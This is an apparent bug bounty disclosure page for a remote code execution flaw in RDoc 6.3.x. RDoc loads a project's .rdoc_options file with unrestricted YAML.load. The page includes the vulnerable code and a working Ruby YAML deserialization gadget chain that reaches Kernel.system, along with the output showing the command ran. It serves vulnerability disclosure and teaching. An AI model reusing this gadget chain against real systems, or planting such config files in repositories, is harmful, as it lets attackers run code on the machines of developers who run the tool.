RCE by parsing `.rdoc_options` in RDoc
RDoc loads a project's .rdoc_options configuration file as YAML without restricting which Ruby classes can be instantiated, so a crafted file can trigger object injection. Running the rdoc command in a repository containing such a file causes arbitrary commands to run.
- Triaged in 3 days
- Fixed in 2.9 years
- Disclosed after 3.2 years
When parsing .rdoc_options used for configuration in RDoc as a YAML file, RCE is possible from Object injection because there are no restrictions on the classes that can be restored.
https://github.com/ruby/rdoc/blob/v6.3.0/lib/rdoc/rdoc.rb#L165
def load_options
options_file = File.expand_path '.rdoc_options'
return RDoc::Options.new unless File.exist? options_file
RDoc.load_yaml
begin
options = YAML.load_file '.rdoc_options'
rescue Psych::SyntaxError
end
PoC
$ rdoc -v
6.3.1
Create .rdoc_options file. The yaml attack code is based on this article Universal RCE with Ruby YAML.load, https://gist.github.com/staaldraad/89dffe369e1454eedd3306edc8a7e565
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: date
method_id: :resolve
$ rdoc
sh: reading: command not found
2021年 5月 7日 金曜日 13時34分42秒 JST
uh-oh! RDoc had a problem:
no implicit conversion of nil into String
Kernel.system is called and date is executed.
Impact
RCE is possible when the rdoc command is executed for a repository received from the external.
I also tried building the gem with the .rdoc_options file.
When running with gem rdoc, the file .rdoc_options doesn't seem to be read and seems safe.
Therefore, it seems that the environment where RCE is actually possible is limited.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The tool deserialised an untrusted YAML configuration file with a loader that allows arbitrary Ruby object types instead of a safe loader.
Impact
An attacker who can get a victim to run rdoc on a supplied repository could execute commands, though the author notes that environments where this happens are limited because gem rdoc does not read the file.
What the attacker needed
Victim runs rdoc in attacker's repo; attacker controls .rdoc_options
How it was found
- Place a crafted .rdoc_options file in the project directory.
- Run the rdoc command in that directory.
- The YAML is loaded and the injected objects cause a system command to run.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Some programs save settings in a file and read them back later. If that file format can also describe program objects, a malicious settings file can make the program build dangerous objects and run commands. Here, running a documentation tool inside a downloaded project was enough to execute a command on the machine.
What is RCE?
Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.